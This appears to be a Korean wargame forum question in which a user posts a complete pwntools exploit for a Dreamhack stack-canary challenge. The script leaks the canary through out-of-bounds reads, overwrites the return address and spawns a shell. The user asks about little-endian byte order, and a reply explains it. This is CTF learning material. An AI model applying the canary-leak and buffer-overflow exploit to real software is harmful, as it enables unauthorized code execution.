카나리 리틀엔디언 저장 관련

from pwn import *

p = remote('host3.dreamhack.games', 21344)
e = ELF('./ssp')
pay = b'a'*129
p.sendafter(b'> ',b'F')
p.sendafter(b'box input : ', pay)

p.sendafter(b'> ',b'P')
p.sendlineafter('Element index : ', '131')
p.recvuntil(b'Element of index 131 is : ')
canary = p.recv(2)

p.sendafter(b'> ',b'P')
p.sendlineafter(b'Element index : ',b'130')
p.recvuntil(b'Element of index 130 is : ')
canary += p.recv(2)

p.sendafter(b'> ',b'P')
p.sendlineafter(b'Element index : ',b'129')
p.recvuntil(b'Element of index 129 is : ')
canary += p.recv(2)

p.sendafter(b'> ',b'P')
p.sendlineafter(b'Element index : ',b'128')
p.recvuntil(b'Element of index 128 is : ')
canary += p.recv(2)

success(canary)

canary = int(canary,16)
success('p sent')

address = 0x080486b9

payload = b'a'*64 + p32(canary) + b'a'*0x8 + p32(address)
p.sendafter(b'> ',b'E')
p.sendlineafter(b'Name Size : ',b'1000')
p.sendafter(b'Name : ', payload)
p.interactive()

위는 제가 작성한 코드입니다. 카나리와 관련해서 질문이 있습니다.
처음에 카나리값을 128~131까지 받아와서 저장한 뒤 payload를 보낼 때 p32(canary)를 해주면 될 것이라고 생각해서 해봤는데 안되었습니다. 하지만 카나리를 역순으로 받으니 문제가 해결되더라고요.

질문사항은 아래와 같습니다.

위 코드대로 했을 때는 처음에 recv를 통해서 만들어진 canary 값은 원래 값의 역순일 것입니다.(예를 들어 원래 카나리 값이 00112233 이렇다면 저기의 canary는 33221100이겠죠) 그런데 이렇게 만들어진 카나리에 p32()를 씌워버리면 다시 00112233이 되니까 페이로드를 보낼 때 리틀엔디언방식(즉 역순)으로 보내지는 것이 아니라서 처음에 받을 때 순방향으로 받고 p32()로 리틀엔디언 패킹을 해줘야 하는게 아닌가요?

이렇게 생각한 이유는 address의 경우 순방향 값인 0x080486b9을 address에 넣은 뒤 p32()로 페이로드에 작성했으므로 canary도 처음에 순방향으로 받고 이후에 p32()로 리틀엔디언 패킹을 해줘야한다고 생각해서입니다.

#pwnable
작성자 정보
답변 2
avatar
wyv3rn
무플 방지 위원회장

만일 카나리 값이
0x11223300
이고 순차적으로 값을 받아와서 합치셨다면
00332211
이 되는데
작성하신 페이로드에서 이걸 그대로 16진수 int 값으로 변환하셔서
0x00332211
이되기 때문에 그렇습니다.
역으로 받아왔다면
11223300
일테고
16진수 인트로 바꾸면
0x11223300이 되지요

2023.08.08. 17:45
avatar
wyv3rn
무플 방지 위원회장

그렇게 하는게 맞긴 합니다만, 애초에 128번째 값부터 받아오면
카나리 변수 값이 00112233 일테고

canary = int(canary,16)

하셨으니
0x00112233이 되겠죠?

2023.08.10. 00:30
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기